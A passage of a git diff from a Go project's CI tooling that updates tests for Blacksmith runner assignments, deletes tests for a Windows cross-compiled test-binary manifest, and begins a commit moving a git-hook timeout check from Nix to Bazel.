mainBlacksmithMacOSTestRunsOn = "${{ '" + blacksmithMacOSLabel + "' }}" @@ -2329,40 +2219,26 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // F7a: cache-free same-repo Linux jobs that restore no GitHub-saved // build cache moved onto same-repo Blacksmith at their measured vCPU // size (module-cache misses on the Blacksmith pool are acceptable - // per spec; jobs that need a Blacksmith-side build-cache saver are - // F7b's scope, not this one). windows-test-binaries is F4's Linux - // mingw cross-compile job, sized at 8vcpu. + // per spec). "pr.yml": { - "ci-gate": sameRepoBlacksmith2vcpu, - "fast-checks": sameRepoBlacksmith2vcpu, - "advisory-reports": sameRepoBlacksmith2vcpu, - "check-doc-flags": sameRepoBlacksmith4vcpu, - "windows-test-binaries": sameRepoBlacksmith8vcpu, - // F7b: same-repo Blacksmith Windows (blacksmith-*vcpu-windows-2025, - // public beta). test-windows-liveness and worktree-remove-windows are - // sized at 4vcpu (a build plus a focused test run each); - // test-windows-small and the two "-prebuilt" twins (which only run an - // already-cross-compiled binary) are sized at 2vcpu; windows-make-shell - // is sized at 4vcpu (installs three separate Make toolchains). See the - // report's risk notes for test-windows-liveness (cgo/mingw on - // windows-2025, unverified) and windows-make-shell (Chocolatey - // preinstalled, unverified). - "test-windows-liveness": sameRepoBlacksmithWindows4vcpu, - "worktree-remove-windows": sameRepoBlacksmithWindows4vcpu, - "test-windows-small": sameRepoBlacksmithWindows2vcpu, - "test-windows-liveness-prebuilt": sameRepoBlacksmithWindows2vcpu, - "worktree-remove-windows-prebuilt": sameRepoBlacksmithWindows2vcpu, - "windows-make-shell": sameRepoBlacksmithWindows4vcpu, - // F7b: mixed-OS matrix jobs using the "matrix marker" chained-ternary - // form (spec §2.1) instead of a flat same-repo ternary - see - // sameRepoPlatformsMatrixMarkerRunsOn's doc comment in - // scripts/ci_blacksmith_runner_test.go. (F7b review fix S1: an - // earlier revision additionally split pr-preflight-platforms' Windows - // leg into two `shard` matrix entries; that split was reverted as not - // measurably helpful, so this single map entry now covers exactly - // three matrix legs, one per OS.) - "check-doc-freshness-platforms": sameRepoPlatformsMatrixMarkerRunsOn, - "pr-preflight-platforms": sameRepoPlatformsMatrixMarkerRunsOn, + "ci-gate": sameRepoBlacksmith2vcpu, + "fast-checks": sameRepoBlacksmith2vcpu, + "advisory-reports": sameRepoBlacksmith2vcpu, + "check-doc-flags": sameRepoBlacksmith4vcpu, + // Windows and macOS: Blacksmith for every PR, forks and Dependabot + // included (ga-96smfk.22). test-windows-liveness and + // worktree-remove-windows are sized at 4vcpu (a build plus a + // focused test run each); test-windows-small at 2vcpu; + // windows-make-shell at 4vcpu (installs three separate Make + // toolchains). + "test-windows-liveness": blacksmithWindows4vcpuRunsOn, + "worktree-remove-windows": blacksmithWindows4vcpuRunsOn, + "test-windows-small": blacksmithWindows2vcpuRunsOn, + "windows-make-shell": blacksmithWindows4vcpuRunsOn, + // Mixed-OS matrix jobs: each leg names its Blacksmith label + // (platformsMatrixRunners, pinned by their own tests). + "check-doc-freshness-platforms": platformsMatrixRunsOn, + "pr-preflight-platforms": platformsMatrixRunsOn, }, "pr-risk.yml": { "ci-gate": sameRepoBlacksmith2vcpu, @@ -2377,17 +2253,15 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // main.yml's push-to-main-only jobs. Tracked here so the "no other // Blacksmith label leaks" sweep below also covers main.yml. "main.yml": { - "windows-test-binaries-cache": mainWindowsTestBinariesCacheRunsOn, // F7b review (B2): these push-to-main-only jobs seed the - // Blacksmith-selection GOCACHEs same-repo PR/merge_group jobs - // above restore from (test-windows's "venue" matrix). + // Blacksmith-selection GOCACHEs the PR jobs above restore from. // Each is additionally guarded by a job-level // github.event_name == 'push' && github.ref == // 'refs/heads/main' && github.repository == 'gastownhall/beads' // if: (TestBlacksmithSaverJobsGuardedAgainstPullRequest below), // matching F7c's own saver convention. - "test-windows": mainVenueBlacksmithWindows4vcpuRunsOn, - // Same guard, seeding pr.yml's same-repo macOS legs. + "test-windows": mainBlacksmithWindows4vcpuRunsOn, + // Same guard, seeding pr.yml's macOS legs. "blacksmith-macos-go-build-cache": mainBlacksmithMacOSGoBuildCacheRunsOn, // The macOS -race -short suite (Linux runs it under Bazel). "test": mainBlacksmithMacOSTestRunsOn, @@ -2423,7 +2297,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { } } // No other job in pr.yml or pr-risk.yml may name a Blacksmith label beyond - // the ones enumerated in `want` above (F4 added windows-test-binaries). + // the ones enumerated in `want` above. // Same sweep for the F7c advisory workflows: nothing in them may name a // Blacksmith label beyond the jobs listed in `want` above. for _, file := range []string{ diff --git a/scripts/test.sh b/scripts/test.sh index f9d28934f..6f7962093 100755 --- a/scripts/test.sh +++ b/scripts/test.sh @@ -205,8 +205,7 @@ elif [[ "${BEADS_TEST_SHARED_SERVER:-}" == "1" ]]; then fi # BEADS_TEST_PREBUILT_TEST_BINARY short-circuits straight to a `go test -c` -# binary (typically cross-compiled on a different host; see -# scripts/ci/build-windows-test-binaries.sh and +# binary (for example one cross-compiled on a different host; see # scripts/ci/run-go-test-binary.sh) instead of invoking `go test`. It still # gets test.sh's env isolation (beads_test_env_enter above), the .test-skip # pattern, and the -p/-parallel/-timeout defaults -- only the final diff --git a/scripts/windows_test_binaries_manifest_test.go b/scripts/windows_test_binaries_manifest_test.go deleted file mode 100644 index a8eabf7f3..000000000 --- a/scripts/windows_test_binaries_manifest_test.go +++ /dev/null @@ -1,516 +0,0 @@ -package scripts_test - -import ( - "os" - "os/exec" - "path/filepath" - "regexp" - "runtime" - "strings" - "testing" -) - -// windowsTestBinaryManifestEntry mirrors one non-comment, non-blank line of -// scripts/ci/windows-test-binaries.txt: "name cgo tags package". -type windowsTestBinaryManifestEntry struct { - name string - cgo string - tags string - pkg string -} - -func readWindowsTestBinariesManifest(t *testing.T) []windowsTestBinaryManifestEntry { - t.Helper() - - path := filepath.Join(sourceRepoRoot(t), "scripts", "ci", "windows-test-binaries.txt") - data, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - - var entries []windowsTestBinaryManifestEntry - for _, line := range strings.Split(string(data), "\n") { - if idx := strings.Index(line, "#"); idx != -1 { - line = line[:idx] - } - line = strings.TrimSpace(line) - if line == "" { - continue - } - fields := strings.Fields(line) - if len(fields) != 4 { - t.Fatalf("malformed manifest line %q: want 4 whitespace-separated fields (name cgo tags package), got %d", line, len(fields)) - } - entries = append(entries, windowsTestBinaryManifestEntry{name: fields[0], cgo: fields[1], tags: fields[2], pkg: fields[3]}) - } - return entries -} - -// TestWindowsTestBinariesManifestPinned pins the advisory-phase manifest to -// exactly the three binaries its two "-prebuilt" consumer jobs need (see the -// manifest's own header comment for why the rollout is scoped this way). -// Growing the manifest without growing its consumers, or vice versa, is -// exactly the drift TestWindowsTestBinariesConsumersMatchManifest below -// exists to catch; this test instead catches an unreviewed change to the -// three pinned entries themselves (toolchain flags, package, or tags -// silently drifting out from under the native jobs they mirror). -func TestWindowsTestBinariesManifestPinned(t *testing.T) { - entries := readWindowsTestBinariesManifest(t) - want := []windowsTestBinaryManifestEntry{ - {name: "bd.exe", cgo: "1", tags: "gms_pure_go", pkg: "./cmd/bd"}, - {name: "cmd-bd-cgo.test.exe", cgo: "1", tags: "gms_pure_go", pkg: "./cmd/bd"}, - {name: "cmd-bd-nocgo.test.exe", cgo: "0", tags: "gms_pure_go", pkg: "./cmd/bd"}, - } - if len(entries) != len(want) { - t.Fatalf("manifest has %d entries, want %d: got %+v", len(entries), len(want), entries) - } - for i, got := range entries { - if got != want[i] { - t.Errorf("entry %d = %+v, want %+v", i, got, want[i]) - } - } -} - -// TestWindowsCrossCompileToolchainPinned pins build-windows-test-binaries.sh -// to the same mingw-w64 cross-compiler release.yml's goreleaser job uses for -// the shipped bd-windows-amd64 binary (.goreleaser.yml), so the two toolchains -// cannot silently diverge. -func TestWindowsCrossCompileToolchainPinned(t *testing.T) { - path := filepath.Join(sourceRepoRoot(t), "scripts", "ci", "build-windows-test-binaries.sh") - data, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - script := string(data) - for _, want := range []string{ - `env_args=(GOOS=windows GOARCH=amd64 CGO_ENABLED="$cgo")`, - `env_args+=(CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++)`, - // F4 review nit: the resolved mingw-w64 version is logged (once, up - // front) so an advisory-phase run's log can confirm which compiler - // release actually built the binaries, the same way "== host go - // toolchain ==" confirms the Go side. - `x86_64-w64-mingw32-gcc --version`, - } { - if !strings.Contains(script, want) { - t.Errorf("build-windows-test-binaries.sh does not contain %q", want) - } - } - - goreleaser := readGoreleaserBuilds(t) - var windowsBuild *goreleaserBuild - for i := range goreleaser { - if goreleaser[i].ID == "bd-windows-amd64" { - windowsBuild = &goreleaser[i] - break - } - } - if windowsBuild == nil { - t.Fatal(".goreleaser.yml has no bd-windows-amd64 build to compare against") - } - wantEnv := []string{"CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++"} - if !equalStrings(windowsBuild.Env, wantEnv) { - t.Errorf(".goreleaser.yml bd-windows-amd64 build env = %v, want %v (build-windows-test-binaries.sh's cgo=1 entries are pinned to match this exact toolchain)", windowsBuild.Env, wantEnv) - } -} - -// winBinRefPattern matches `.../win-bin/` references in step `run` -// bodies, capturing the file name so it can be checked against the manifest. -var winBinRefPattern = regexp.MustCompile(`win-bin/([A-Za-z0-9_.-]+)`) - -// TestWindowsTestBinariesConsumersMatchManifest confirms every binary name -// the "-prebuilt" jobs reference actually exists in the manifest that builds -// it - a renamed manifest entry (or a typo'd reference) fails a Windows job -// at runtime with a missing-file error; this catches it at review time -// instead. -func TestWindowsTestBinariesConsumersMatchManifest(t *testing.T) { - entries := readWindowsTestBinariesManifest(t) - names := make(map[string]bool, len(entries)) - for _, e := range entries { - names[e.name] = true - } - - pr := readCIWorkflow(t, "pr.yml") - referenced := make(map[string]bool) - for _, jobName := range []string{"test-windows-liveness-prebuilt", "worktree-remove-windows-prebuilt"} { - job := pr.job(t, jobName) - for _, step := range job.Steps { - for _, env := range step.Env { - for _, m := range winBinRefPattern.FindAllStringSubmatch(env, -1) { - referenced[m[1]] = true - if !names[m[1]] { - t.Errorf("%s step %q env references win-bin/%s, not in manifest %+v", jobName, step.Name, m[1], entries) - } - } - } - for _, m := range winBinRefPattern.FindAllStringSubmatch(step.Run, -1) { - referenced[m[1]] = true - if !names[m[1]] { - t.Errorf("%s step %q run references win-bin/%s, not in manifest %+v", jobName, step.Name, m[1], entries) - } - } - } - } - // Every manifest entry this advisory phase builds should be consumed by - // at least one of the two twins - an unused entry is dead weight in the - // cross-compile job for no benefit. - for name := range names { - if !referenced[name] { - t.Errorf("manifest entry %q is never referenced by test-windows-liveness-prebuilt or worktree-remove-windows-prebuilt", name) - } - } -} - -// TestWindowsTestBinariesArtifactNameConsistent pins the upload/download -// artifact name shared by windows-test-binaries and its two consumers, and -// that both consumers declare the producer as a `needs` dependency (without -// it, the download step would race the upload and fail intermittently -// instead of deterministically). -func TestWindowsTestBinariesArtifactNameConsistent(t *testing.T) { - pr := readCIWorkflow(t, "pr.yml") - producer := pr.job(t, "windows-test-binaries") - upload := producer.step(t, "Upload Windows test binaries") - uploadName := upload.With["name"] - if uploadName != "windows-test-binaries" { - t.Fatalf("producer upload name = %q, want %q", uploadName, "windows-test-binaries") - } - - for _, jobName := range []string{"test-windows-liveness-prebuilt", "worktree-remove-windows-prebuilt"} { - job := pr.job(t, jobName) - download := job.step(t, "Download Windows test binaries") - if got := download.With["name"]; got != uploadName { - t.Errorf("%s download name = %q, want %q (matching the producer's upload name)", jobName, got, uploadName) - } - if len(job.Needs) != 1 || job.Needs[0] != "windows-test-binaries" { - t.Errorf("%s needs = %v, want exactly [windows-test-binaries]", jobName, job.Needs) - } - } -} - -// runFlagLiteral extracts the `-run '...'` argument from a step's run body. -func runFlagLiteral(t *testing.T, step ciWorkflowStep) string { - t.Helper() - m := regexp.MustCompile(`-run '([^']+)'`).FindStringSubmatch(step.Run) - if m == nil { - t.Fatalf("step %q run body has no -run '...' literal:\n%s", step.Name, step.Run) - } - return m[1] -} - -// TestWindowsTestBinariesSelectSameTestsAsNativeJobs is the F4.4 side-by-side -// policy test: the cross-built "-prebuilt" jobs must select exactly the same -// tests, with the same CGO_ENABLED selection, as the native windows-latest -// jobs they are advisory twins of. A -run literal or CGO_ENABLED value that -// drifts between the two paths would mean the cross-build is silently -// validating a different test subset than the required native lane - -// defeating the entire point of running them side by side before any flip. -func TestWindowsTestBinariesSelectSameTestsAsNativeJobs(t *testing.T) { - pr := readCIWorkflow(t, "pr.yml") - - native := pr.job(t, "test-windows-liveness") - prebuilt := pr.job(t, "test-windows-liveness-prebuilt") - - nativeGlobalPrime := native.step(t, "Run native Windows global Prime override") - prebuiltGlobalPrime := prebuilt.step(t, "Run native Windows global Prime override (prebuilt)") - if n, p := runFlagLiteral(t, nativeGlobalPrime), runFlagLiteral(t, prebuiltGlobalPrime); n != p { - t.Errorf("global-prime -run literal mismatch: native %q prebuilt %q", n, p) - } - if got := nativeGlobalPrime.Env["CGO_ENABLED"]; got != "1" { - t.Fatalf("test-windows-liveness CGO_ENABLED = %q, want \"1\" (manifest entries bd.exe/cmd-bd-cgo.test.exe assume this)", got) - } - - nativeLiveness := native.step(t, "Run Windows liveness regression test") - prebuiltLiveness := prebuilt.step(t, "Run Windows liveness regression test (prebuilt)") - if n, p := runFlagLiteral(t, nativeLiveness), runFlagLiteral(t, prebuiltLiveness); n != p { - t.Errorf("liveness regression -run literal mismatch: native %q prebuilt %q", n, p) - } - - nativeWorktree := pr.job(t, "worktree-remove-windows").step(t, "Run native Windows worktree removal boundary tests") - prebuiltWorktree := pr.job(t, "worktree-remove-windows-prebuilt").step(t, "Run native Windows worktree removal boundary tests (prebuilt)") - if n, p := runFlagLiteral(t, nativeWorktree), runFlagLiteral(t, prebuiltWorktree); n != p { - t.Errorf("worktree-remove -run literal mismatch: native %q prebuilt %q", n, p) - } - if got := nativeWorktree.Env["CGO_ENABLED"]; got != "0" { - t.Fatalf("worktree-remove-windows CGO_ENABLED = %q, want \"0\" (manifest entry cmd-bd-nocgo.test.exe assumes this)", got) - } -} - -// runGoTestBinaryInvocationPattern matches a scripts/ci/run-go-test-binary.sh -// invocation's binary path argument and the flags that follow it, so tests -// can pin the exact PKGDIR and flag set passed to a prebuilt binary without -// having to byte-match the entire run body. -var runGoTestBinaryInvocationPattern = regexp.MustCompile(`run-go-test-binary\.sh "[^"]*/win-bin/([A-Za-z0-9_.-]+)" (\S+) (.*)`) - -// jobWinBinNames returns the distinct win-bin/ binaries a job's steps -// reference, across both `run` bodies and step `env` values. -func jobWinBinNames(job ciWorkflowJob) map[string]bool { - names := make(map[string]bool) - for _, step := range job.Steps { - for _, m := range winBinRefPattern.FindAllStringSubmatch(step.Run, -1) { - names[m[1]] = true - } - for _, env := range step.Env { - for _, m := range winBinRefPattern.FindAllStringSubmatch(env, -1) { - names[m[1]] = true - } - } - } - return names -} - -// TestWindowsPrebuiltJobsPinnedToExactBinaryAndArgs closes the gap left by -// TestWindowsTestBinariesConsumersMatchManifest (which only checks referenced -// binaries exist in the manifest, not which job references which one) and by -// TestWindowsTestBinariesSelectSameTestsAsNativeJobs (which checks -run -// literals and the *native* job's CGO_ENABLED, not the prebuilt binary name -// or its invocation flags). Without this, swapping which "-prebuilt" job -// downloads/runs cmd-bd-cgo.test.exe vs. cmd-bd-nocgo.test.exe, dropping -// -count=1 from a run-go-test-binary.sh invocation, or changing the PKGDIR -// argument passed to it, would all pass every other test in this file. -func TestWindowsPrebuiltJobsPinnedToExactBinaryAndArgs(t *testing.T) { - pr := readCIWorkflow(t, "pr.yml") - - cases := []struct { - jobName string - wantBinary string - }{ - {"test-windows-liveness-prebuilt", "cmd-bd-cgo.test.exe"}, - {"worktree-remove-windows-prebuilt", "cmd-bd-nocgo.test.exe"}, - } - for _, c := range cases { - job := pr.job(t, c.jobName) - - // Exactly one *.test.exe referenced, and it is the expected one - // (catches a cgo/nocgo swap between the two twins). bd.exe (the - // plain executable, not a go-test-c binary) is referenced too by - // test-windows-liveness-prebuilt and is out of scope here. - testBinaries := make(map[string]bool) - for name := range jobWinBinNames(job) { - if strings.HasSuffix(name, ".test.exe") { - testBinaries[name] = true - } - } - if len(testBinaries) != 1 || !testBinaries[c.wantBinary] { - t.Errorf("%s references *.test.exe binaries %v, want exactly {%q}", c.jobName, testBinaries, c.wantBinary) - } - - // Every step that actually exercises the test binary (whether via a - // direct run-go-test-binary.sh invocation or, for - // test-windows-liveness-prebuilt's first step, through - // scripts/test.sh's BEADS_TEST_PREBUILT_TEST_BINARY short-circuit) - // passes -count=1 (catches a dropped -count=1 on either path). - for _, step := range job.Steps { - if strings.Contains(step.Run, ".test.exe") && !strings.Contains(step.Run, "-count=1") { - t.Errorf("%s step %q exercises the prebuilt test binary without -count=1", c.jobName, step.Name) - } - } - - // Every direct run-go-test-binary.sh invocation in the job also - // passes the expected binary and PKGDIR (catches a cgo/nocgo swap or - // a PKGDIR change on this path specifically). - sawInvocation := false - for _, step := range job.Steps { - for _, m := range runGoTestBinaryInvocationPattern.FindAllStringSubmatch(step.Run, -1) { - sawInvocation = true - binary, pkgdir, rest := m[1], m[2], m[3] - if binary != c.wantBinary { - t.Errorf("%s step %q invokes run-go-test-binary.sh with binary %q, want %q", c.jobName, step.Name, binary, c.wantBinary) - } - if pkgdir != "./cmd/bd" { - t.Errorf("%s step %q invokes run-go-test-binary.sh with PKGDIR %q, want \"./cmd/bd\"", c.jobName, step.Name, pkgdir) - } - if !regexp.MustCompile(`(^|\s)-count=1(\s|$)`).MatchString(rest) { - t.Errorf("%s step %q run-go-test-binary.sh invocation is missing -count=1: %q", c.jobName, step.Name, rest) - } - } - } - if !sawInvocation { - t.Errorf("%s has no direct run-go-test-binary.sh invocation; this test's PKGDIR/-count=1 checks did not run", c.jobName) - } - } -} - -// fakeGoTestBinaryForTimeoutProbe is a stand-in `go test -c` binary used only -// to observe the exact -test.* argv scripts/ci/run-go-test-binary.sh builds, -// without a real go toolchain. It is deliberately simpler than -// fakePrebuiltTestBinary in test_script_test.go (which also records cwd and -// BEADS_TEST_REPO_ROOT): this probe only needs argv. -const fakeGoTestBinaryForTimeoutProbe = `#!/usr/bin/env bash -set -euo pipefail -for a in "$@"; do - printf 'arg=%s\n' "$a" -done >"$FAKE_GO_TEST_BINARY_LOG" -` - -// TestRunGoTestBinaryDefaultsTimeoutWhenOmitted is the regression test for -// F4 review SF-3: scripts/ci/run-go-test-binary.sh must inject the same -// -test.timeout=10m default `go test` itself injects when a caller omits -// -timeout, and the unconditional -test.paniconexit0 flag Go 1.14+ always -// adds. pr.yml's two direct invocations of this script -// (test-windows-liveness-prebuilt, worktree-remove-windows-prebuilt; see -// TestWindowsPrebuiltJobsPinnedToExactBinaryAndArgs above) both omit -// -timeout, relying on exactly this default -- unlike every path that goes -// through scripts/test.sh, which always supplies its own -timeout default -// (25m, or $TEST_TIMEOUT) before run-go-test-binary.sh ever sees the args, -// so that path can never exercise the omitted-timeout branch. This test -// calls the real script directly, bypassing test.sh entirely, to pin the one -// branch no other test reaches. -func TestRunGoTestBinaryDefaultsTimeoutWhenOmitted(t *testing.T) { - if runtime.GOOS == "windows" { - t.Skip("run-go-test-binary.sh is a bash script; exercised by the Windows CI job itself, not this test") - } - - repoRoot := sourceRepoRoot(t) - root := t.TempDir() - fakeBin := filepath.Join(root, "fake-go-test-binary") - if err := os.WriteFile(fakeBin, []byte(fakeGoTestBinaryForTimeoutProbe), 0o755); err != nil { - t.Fatalf("write fake go test binary: %v", err) - } - logPath := filepath.Join(root, "fake-go-test-binary.log") - if err := os.WriteFile(logPath, nil, 0o600); err != nil { - t.Fatalf("initialize fake go test binary log: %v", err) - } - - bash, lookErr := exec.LookPath("bash") - if lookErr != nil { - t.Fatalf("bash is required to exercise run-go-test-binary.sh: %v", lookErr) - } - - script := filepath.Join(repoRoot, "scripts", "ci", "run-go-test-binary.sh") - // Deliberately no -timeout: this is the exact invocation shape pr.yml - // uses (binary, PKGDIR, -run, -count=1, no -timeout). - cmd := exec.Command(bash, script, fakeBin, repoRoot, "-run", "TestNothing", "-count=1") - cmd.Env = append(os.Environ(), "FAKE_GO_TEST_BINARY_LOG="+logPath, "GITHUB_WORKSPACE="+repoRoot) - if output, err := cmd.CombinedOutput(); err != nil { - t.Fatalf("run-go-test-binary.sh failed: %v\n%s", err, output) - } - - logBytes, err := os.ReadFile(logPath) - if err != nil { - t.Fatalf("read fake go test binary log: %v", err) - } - var args []string - for _, line := range strings.Split(strings.TrimRight(string(logBytes), "\n"), "\n") { - if arg, ok := strings.CutPrefix(line, "arg="); ok { - args = append(args, arg) - } - } - - wantArgs := []string{"-test.run", "TestNothing", "-test.count", "1", "-test.timeout", "10m", "-test.paniconexit0"} - if strings.Join(args, " ") != strings.Join(wantArgs, " ") { - t.Fatalf("run-go-test-binary.sh with no -timeout launched with args %v, want %v (default -test.timeout=10m plus unconditional -test.paniconexit0, matching native `go test`'s own injected flags)", args, wantArgs) - } -} - -// TestWindowsPrebuiltRequiredFlagMechanism pins the F4 review SF-5 -// single-flag flip mechanism: WINDOWS_PREBUILT_REQUIRED (pr.yml's top-level -// env) is "false" by default, both Windows pairs are unconditionally in -// ci-gate's needs and env map (so the gate always evaluates both), and -// which pair is actually enforced is decided dynamically in the "Evaluate CI -// gate" step's run script rather than by two more names sitting in the -// static CI_GATE_REQUIRED list. Without this test, someone could add -// test-windows-liveness-prebuilt/worktree-remove-windows-prebuilt back into -// CI_GATE_REQUIRED directly (making both pairs required at once, defeating -// the flip) or add a new Windows job to ci-gate.needs without routing it -// through this mechanism (M3 from the F4 review). -func TestWindowsPrebuiltRequiredFlagMechanism(t *testing.T) { - pr := readCIWorkflow(t, "pr.yml") - - if got := pr.Env["WINDOWS_PREBUILT_REQUIRED"]; got != "true" { - t.Errorf("pr.yml top-level env WINDOWS_PREBUILT_REQUIRED = %q, want \"true\" (the prebuilt pair is required since the side-by-side rollout finished)", got) - } - - gate := pr.job(t, "ci-gate") - for _, jobName := range []string{ - "test-windows-liveness", "worktree-remove-windows", - "test-windows-liveness-prebuilt", "worktree-remove-windows-prebuilt", - } { - if !contains(gate.Needs, jobName) { - t.Errorf("ci-gate.needs = %v, missing %q", gate.Needs, jobName) - } - } - - evaluate := gate.step(t, "Evaluate CI gate") - wantEnv := map[string]string{ - "TEST_WINDOWS_LIVENESS": "${{ needs.test-windows-liveness.result }}", - "WORKTREE_REMOVE_WINDOWS": "${{ needs.worktree-remove-windows.result }}", - "TEST_WINDOWS_LIVENESS_PREBUILT": "${{ needs.test-windows-liveness-prebuilt.result }}", - "WORKTREE_REMOVE_WINDOWS_PREBUILT": "${{ needs.worktree-remove-windows-prebuilt.result }}", - } - for k, want := range wantEnv { - if got := evaluate.Env[k]; got != want { - t.Errorf("Evaluate CI gate step env %s = %q, want %q", k, got, want) - } - } - - // The static CI_GATE_REQUIRED declaration must not itself name either - // Windows pair -- both are added dynamically below, exactly once, based - // on the flag. A static entry here would make that pair unconditionally - // required regardless of the flag. - staticRequired := evaluate.Env["CI_GATE_REQUIRED"] - for _, name := range []string{ - "TEST_WINDOWS_LIVENESS", "WORKTREE_REMOVE_WINDOWS", - "TEST_WINDOWS_LIVENESS_PREBUILT", "WORKTREE_REMOVE_WINDOWS_PREBUILT", - } { - if regexp.MustCompile(`(^|\s)` + name + `(\s|$)`).MatchString(staticRequired) { - t.Errorf("CI_GATE_REQUIRED statically lists %s; it must only be added dynamically by the WINDOWS_PREBUILT_REQUIRED conditional in the run script", name) - } - } - - run := evaluate.Run - for _, want := range []string{ - `if [[ "$WINDOWS_PREBUILT_REQUIRED" == "true" ]]; then`, - `CI_GATE_REQUIRED="$CI_GATE_REQUIRED TEST_WINDOWS_LIVENESS_PREBUILT WORKTREE_REMOVE_WINDOWS_PREBUILT"`, - `skipped_ok="$skipped_ok TEST_WINDOWS_LIVENESS WORKTREE_REMOVE_WINDOWS"`, - `CI_GATE_REQUIRED="$CI_GATE_REQUIRED TEST_WINDOWS_LIVENESS WORKTREE_REMOVE_WINDOWS"`, - `skipped_ok="$skipped_ok TEST_WINDOWS_LIVENESS_PREBUILT WORKTREE_REMOVE_WINDOWS_PREBUILT"`, - `export CI_GATE_REQUIRED`, - } { - if !strings.Contains(run, want) { - t.Errorf("Evaluate CI gate run body missing %q", want) - } - } -} - -// TestWindowsCrossCompileJobsNeverUseSecrets guards the fork-safety -// constraint this whole slice was built under: windows-test-binaries and its -// two "-prebuilt" consumers run on every PR, including from forks and -// Dependabot, and must never need a secret to do so (they only compile code -// already in the checkout and move an artifact between jobs). The same -// applies to main.yml's cache-seeding twin, which never runs on a fork PR at -// all but should still carry no incentive to grow one. -func TestWindowsCrossCompileJobsNeverUseSecrets(t *testing.T) { - pr := readCIWorkflow(t, "pr.yml") - main := readCIWorkflow(t, "main.yml") - - type namedJob struct { - workflow string - name string - job ciWorkflowJob - } - jobs := []namedJob{ - {"pr.yml", "windows-test-binaries", pr.job(t, "windows-test-binaries")}, - {"pr.yml", "test-windows-liveness-prebuilt", pr.job(t, "test-windows-liveness-prebuilt")}, - {"pr.yml", "worktree-remove-windows-prebuilt", pr.job(t, "worktree-remove-windows-prebuilt")}, - {"main.yml", "windows-test-binaries-cache", main.job(t, "windows-test-binaries-cache")}, - } - for _, nj := range jobs { - if nj.job.Secrets != nil { - t.Errorf("%s job %s has non-nil secrets: %v", nj.workflow, nj.name, nj.job.Secrets) - } - for _, step := range nj.job.Steps { - if strings.Contains(step.Run, "secrets.") { - t.Errorf("%s job %s step %q run references secrets.*", nj.workflow, nj.name, step.Name) - } - for k, v := range step.Env { - if strings.Contains(v, "secrets.") { - t.Errorf("%s job %s step %q env %s references secrets.*", nj.workflow, nj.name, step.Name, k) - } - } - for k, v := range step.With { - if strings.Contains(v, "secrets.") { - t.Errorf("%s job %s step %q with %s references secrets.*", nj.workflow, nj.name, step.Name, k) - } - } - } - } -} From 77ab980790a14e381cac5275da8c24f346445210 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 11:05:39 +0000 Subject: [PATCH 043/213] ci(bazel): run the hook-timeout-backends check under Bazel; test-nix stops running tests (#7357) checks.nix's hook-timeout-backends (the tracked git hook shims against real GNU/uutils/busybox/toybox timeout implementations, with and without perl, under dash, bash and busybox ash: 240 cases) was the one test PR Risk's test-nix ran on a GitHub runner, through `nix flake check`. It is now //tests/hook_timeout_backends:hook_timeout_backends_test, an sh_test (pr-core-only) that the bazel-test lane runs remotely on every PR: the static uutils 0.12.0, busybox 1.35.0 and toybox 0.8.15 binaries come in sha256-pinned through MODULE.bazel; dash, bash, perl and GNU coreutils from the executor, failing (not skipping) when one is missing. checks.nix goes and flake.nix declares no checks, so test-nix's `nix run .#default` + `nix flake check` is a packaging check (build the package Nix users install, evaluate every flake output), not a test. TestHookTimeoutBackendsRunUnderBazel pins the target and that no flake check comes back. ga-96smfk.22 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/pr-risk.yml | 9 +- .github/workflows/update-vendor-hash.yml | 4 +- BUILD.bazel | 14 + CONTRIBUTING.md | 2 +- MODULE.bazel | 32 +++ checks.nix | 262 ------------------ engdocs/TESTING.md | 2 +- flake.nix | 1 - scripts/ci_f7c_advisory_test.go | 48 +++- tests/hook_timeout_backends/BUILD.bazel | 60 ++++ .../hook_timeout_backends_test.sh | 223 +++++++++++++++ 11 files changed, 384 insertions(+), 273 deletions(-) delete mode 100644 checks.nix create mode 100644 tests/hook_timeout_backends/BUILD.bazel create mode 100755 tests/hook_timeout_backends/hook_timeout_backends_test.sh diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index 1e0db9633..bf7960b75 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -45,10 +45,11 @@ jobs: id: nix_help run: | nix run .#default -- --help > help.txt - # Every flake check for the runner's own system (today: hook-timeout- - # backends, checks.nix). `nix flake check` rather than a spelled-out - # `.#checks.x86_64-linux.`: no hardcoded system, and a check added - # to checks.nix is run without a workflow edit. + # A packaging check, not a test: evaluates every flake output (packages, + # apps, devShells, overlay) for every system the flake declares. The + # flake has no `checks`: its one check, hook-timeout-backends, runs + # under Bazel as //tests/hook_timeout_backends:hook_timeout_backends_test + # in bazel.yml's PR-core lane. - name: Run the flake checks run: | nix flake check -L diff --git a/.github/workflows/update-vendor-hash.yml b/.github/workflows/update-vendor-hash.yml index 672457fb1..16b841a59 100644 --- a/.github/workflows/update-vendor-hash.yml +++ b/.github/workflows/update-vendor-hash.yml @@ -3,8 +3,8 @@ name: Update vendorHash for dependabot Go bumps # Dependabot bumps to go.mod/go.sum invalidate the proxyVendor FOD hash in # default.nix, which fails the required PR Risk `test-nix` gate (F7c, # spec-f7.md §2.4: nix-build.yml itself no longer runs on pull_request, since -# test-nix's `nix run .#default` plus `nix flake check -L` is a superset of -# plain `nix build .#default`). This workflow detects the drift, computes the +# test-nix's `nix run .#default` plus `nix flake check -L`, which evaluates +# every flake output, is a superset of plain `nix build .#default`). This workflow detects the drift, computes the # new hash via scripts/update-nix-vendorhash.sh, and pushes the update back to # the dependabot branch so the gate goes green without a maintainer # round-trip. diff --git a/BUILD.bazel b/BUILD.bazel index 339780621..97db2f488 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -48,6 +48,19 @@ exports_files( visibility = ["//scripts/gitattributespolicy:__pkg__"], ) +# //tests/hook_timeout_backends: the tracked git hooks whose managed section +# it runs against real timeout implementations. +exports_files( + [ + ".githooks/post-checkout", + 